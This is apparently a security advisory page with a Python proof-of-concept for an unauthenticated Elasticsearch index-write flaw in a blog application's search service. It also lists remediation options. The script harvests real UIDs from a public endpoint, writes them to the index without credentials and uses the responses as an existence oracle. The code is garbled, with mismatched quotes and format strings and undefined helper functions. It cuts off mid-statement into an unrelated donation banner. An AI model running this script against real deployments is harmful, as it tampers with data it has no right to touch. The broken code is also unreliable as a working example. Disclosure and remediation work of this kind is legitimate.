Elasticsearch Unauthorized Index Write (C11) POC & Fix

Vulnerability Overview Vulnerability Name: Elasticsearch Unauthorized Index Write Vulnerability (C11) Vulnerability Type: Unauthorized Access / Privilege Escalation Write Vulnerability Description: Attackers can write or modify the index data corresponding to a specific in Elasticsearch via the endpoint without authentication. Impact Scope: - ES index data can be written or modified by unauthorized users - Can lead to data contamination, data loss, or business logic anomalies - Affects all Elasticsearch instances where this endpoint is deployed Remediation Option 1 (Recommended): Add authentication and authorization checks at the API layer to ensure only legitimate users can invoke this endpoint. Option 2: Implement a whitelist validation for the parameter to restrict the scope of writable indexes. Option 3: Add access control at the gateway or application layer to block unauthorized requests. POC Code ```python #!/usr/bin/env python3 -- coding: utf-8 -- C11 - POST /search/addElasticSearchIndexByUid: unauthorized index write / blog UID existence oracle Target: mongo_query (default http://127.0.0.1:8084) from __future__ import annotations import argparse import sys import os sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from mongoql.common import add_common_args, describe, get_data, get_record, get_records from mongoql.client import Client from mongoql.utils import parse_json, print_banner, require_understand, show_request, verdict, dump_results ENDPOINT = "/search/addElasticSearchIndexByUid" PROBE_ENDPOINT = "/search/addElasticSearchIndexByUid" NULL_UID = "0" def read_uids(args): uids = list(args.uid or []) if args.uid_file: with open(args.uid_file, "r", encoding="utf-8") as f: for line in f: line = line.strip() if line and not line.startswith("#"): uids.append(line) seen, out = set(), [] for u in uids: if u not in seen: seen.add(u) out.append(u) return out def harvest_one(client, keyword="mogu"): st, text = client.get(PROBE_ENDPOINT, params={"keywords": keyword, "currentPage": 1, "pageSize": 10}) records = get_records(text) if records: return records[0].get("uid") or records[0].get("id") return None def call(client, uid): st, text = client.post(ENDPOINT, params={"uid": uid}) return st, text, is_success(text) def main(): ap = argparse.ArgumentParser( description="C11 unauthorized ES index write / blog UID existence oracle (mogu_search).", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="Example:\n" " python C11_search_addElasticSearchIndexByUid.py --dry-run\n" " python C11_search_addElasticSearchIndexByUid.py --uid 42 --uid real_uid\n" " python C11_search_addElasticSearchIndexByUid.py --uid-file uids.txt\n" " NULL_UID" ) add_common_args(ap, service="search") ap.add_argument("--uid", action="append", default=None, help="probe or add to the index (repeatable)") ap.add_argument("--uid-file", default=None, help="file of uids, one per line") ap.add_argument("--keyword", default="mogu", help="keyword used to harvest a real uid automatically (default mogu)") ap.add_argument("--no-control", action="store_true", help="skip the non-existent uid control (that control takes the read-only " "error branch and never writes to the index)") args = ap.parse_args() print_banner() client = make_client(args) uids = read_uids(args) real_uid = harvest_one(client, args.keyword) if not args.no_control and NULL_UID not in uids: uids.insert(0, NULL_UID) if real_uid and real_uid not in uids: print(f"[+] Harvested a real uid from the public search endpoint: {real_uid}") uids.append(real_uid) if not uids: print(f"[!] No --uid given and no real uid could be harvested from the search endpoint") return 0 show_request("POST", ENDPOINT, params={"uid": uids[0]}) if args.dry_run: print(f"[*] dry-run: not sent ({len(uids)} uids in total)") return 0 print(f"[+] Calling POST %s once per uid (no --uid-understand needed: this endpoint does " "\"delete data\" % ENDPOINT)") exists, missing, failed = [], [], [] for u in uids: st, text, ok = call(client, u) js = parse_json(text) msg = (js or {}).get("message") if ok: print(f" [{u}] uid={u} -> success ({msg} [this uid is a valid blog and has been " "\"written to the index\" % (u, msg))") exists.append(u) elif isinstance(js, dict) and js.get("code") == "error": missing.append(u) print(f" [{u}] uid={u} -> error ({msg} [this uid does not exist] % (u, msg))") else: failed.append(u) print(f" [{u}] uid={u} -> {st} % (u, describe(st, text))") if not args.no_control and NULL_UID in missing and exists: verdict("C11-existence-oracle", True, "uid existence can be told apart without credentials (non-existent=%s -> error, " "existing=%s -> success) % (NULL_UID, exists[:3])) else: verdict("C11-existence-oracle", bool(exists), "At least %d uids returned success (which confirms the unauthorized index write): " "%s exists %s -> success) % (len(exists), exists[:3])) verdict("C11-unauth-index-write", bool(exists), "Write to blog index via the search jsons without credentials: %s " "%s (exists

Goal Reached Thanks to every supporter — we hit 100%!

Elasticsearch Unauthorized Index Write (C11) POC & Fix

More from this source